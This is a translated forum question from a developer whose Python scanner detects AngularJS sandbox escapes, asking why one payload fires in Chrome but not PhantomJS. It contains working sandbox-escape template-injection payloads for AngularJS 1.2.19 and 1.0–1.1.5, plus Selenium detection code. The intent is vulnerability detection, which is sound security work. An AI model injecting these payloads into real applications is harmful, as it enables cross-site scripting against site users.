Я создаю приложение на Python, которое проверяет, уязвимо ли определенное веб-приложение для AngularJS Sandbox Escape / Bypass.
Вот как это работает.
Мое приложение запускает локальный веб-сервер (http://localhost
), используя следующий контент.
<!DOCTYPE html>
<html>
<head>
<script src="https://code.angularjs.org/1.2.19/angular.min.js"></script>
</head>
<body ng-app="">
{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
</body>
</html>
Я использую полезную нагрузку Sandbox Escape {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
, которая должна открывать новое окно из-за вызова open(1)
.
После запуска веб-сервера он использует Selenium (с PhantomJS в качестве драйвера), чтобы проверить, открылось ли новое окно из-за выхода из песочницы AngularJS.
capabilities = dict(DesiredCapabilities.PHANTOMJS)
capabilities["phantomjs.page.settings.XSSAuditingEnabled"] = False
browser = webdriver.PhantomJS(
executable_path="../phantomjs/win-2.1.1",
desired_capabilities=capabilities,
)
browser.get("http://localhost/")
return len(browser.window_handles) >= 2
Проблема, с которой я столкнулся
PhantomJS не открывает новое окно. Когда я перехожу к http://localhost
с помощью Google Chrome, он открывает новое окно.
Вот журнал консоли PhantomJS (содержащий две ошибки):
[
{
"level":"WARNING",
"message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=SyntaxError%3A%20Expected%20token%20')'\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
"timestamp":1501431637142
},
{
"level":"WARNING",
"message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
"timestamp":1501431637142
}
]
А это журнал консоли Google Chrome (выдает ошибку, но открывает новое окно):
Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%20%20%20%20%20%20%20%20%20%20%20%20%0A%0A&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)
at angular.js:36
at Object.r (angular.js:8756)
at k.$digest (angular.js:12426)
at k.$apply (angular.js:12699)
at angular.js:1418
at Object.d [as invoke] (angular.js:3917)
at c (angular.js:1416)
at cc (angular.js:1430)
at Xc (angular.js:1343)
at angular.js:21773
Некоторые другие полезные нагрузки AngularJS Sandbox Escape работают без каких-либо проблем. Например, полезная нагрузка ниже (для AngularJS версий 1.0.0–1.1.5) открывает новое окно в Chrome, а также в PhantomJS.
{{constructor.constructor('open(1)')()}}
Я надеюсь, что кто-то сможет помочь мне решить эту проблему, чтобы я мог определить, успешно ли выполнялась полезная нагрузка.
Обратите внимание, что я использую open(1)
вместо alert(1)
, поскольку в PhantomJS невозможно обнаружить предупреждения.
Заранее спасибо.
Обновление 1:
Это JSFiddle, который работает в Google Chrome, но не работает в PhantomJS. Я ищу решение (возможно, изменение полезной нагрузки или настроек PhantomJS или чего-то еще), чтобы полезная нагрузка также запускалась в PhantomJS.
https://jsfiddle.net/x90ey5fa/
Обновление 2:
Я выяснил, что это не связано с AngularJS. Приведенный ниже JSFiddle содержит 4 строки JavaScript, которые работают в Google Chrome, но не работают в PhantomJS. Я также прикрепил журнал консоли от PhantomJS.
https://jsfiddle.net/x90ey5fa/2/
{'level': 'WARNING', 'message': "SyntaxError: Expected token ')'\n Function (undefined:1)\n sort (:0)", 'timestamp': 1501795341539}`
Сведения о версии:
Operating System: Windows 10 x64
Python version: 3.6.1
Google Chrome version: 60.0.3112.78
PhantomJS version: 2.1.1
Selenium version: 3.4.3 (installed via PIP)
Syntax Error: Unexpected token '('. Expected a ')' or a ',' after a parameter declaration.
. Итак, теперь мне интересно, должна или не должна выполняться полезная нагрузка в соответствии со стандартами JavaScript. - person Tijme   schedule 05.08.2017open
наdocument.write
или что-то в этом роде, и вы увидите, что он работает в Chrome, но не в PhantomJS. - person Tijme   schedule 06.08.2017